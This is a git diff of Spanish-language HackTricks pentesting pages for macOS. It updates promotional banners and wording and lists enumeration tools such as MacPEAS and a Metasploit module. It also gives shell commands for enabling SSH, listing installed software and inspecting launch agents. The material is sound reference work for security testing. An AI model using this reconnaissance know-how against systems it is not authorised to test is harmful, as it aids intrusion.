||||
|
@ -28,7 +30,7 @@
|
|||
|
||||
## Detección de ransomware
|
||||
|
||||
* [**RansomWhere**](https://objective-see.org/products/ransomwhere.html): Aplicación de Objective-See para detectar acciones de **encriptación de archivos**.
|
||||
* [**RansomWhere**](https://objective-see.org/products/ransomwhere.html): Aplicación de Objective-See para detectar acciones de **cifrado de archivos**.
|
||||
|
||||
## Detección de micrófono y cámara web
|
||||
|
||||
|
@ -40,12 +42,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,17 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
### Herramientas de Enumeración Automática de MacOS
|
||||
### Herramientas de Enumeración Automática para MacOS
|
||||
|
||||
* **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
|
||||
* **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum\_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum\_osx.rb)
|
||||
|
@ -120,14 +122,14 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh)
|
|||
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh)
|
||||
#Start apache
|
||||
sudo apachectl (start|status|restart|stop)
|
||||
##Web folder: /Library/WebServer/Documents/
|
||||
##Web folder: /Library/WebServer/Documents/
|
||||
#Remove DNS cache
|
||||
dscacheutil -flushcache
|
||||
sudo killall -HUP mDNSResponder
|
||||
```
|
||||
### Software y Servicios Instalados
|
||||
|
||||
Verificar la existencia de aplicaciones **sospechosas** instaladas y los **privilegios** sobre los recursos instalados:
|
||||
Verifica la presencia de aplicaciones **sospechosas** instaladas y **privilegios** sobre los recursos instalados:
|
||||
```
|
||||
system_profiler SPApplicationsDataType #Installed Apps
|
||||
system_profiler SPFrameworksDataType #Instaled framework
|
||||
|
@ -147,18 +149,20 @@ launchctl print gui/<user's UID>/com.company.launchagent.label
|
|||
```
|
||||
### Crear un usuario
|
||||
|
||||
Sin solicitudes
|
||||
Sin preguntas
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue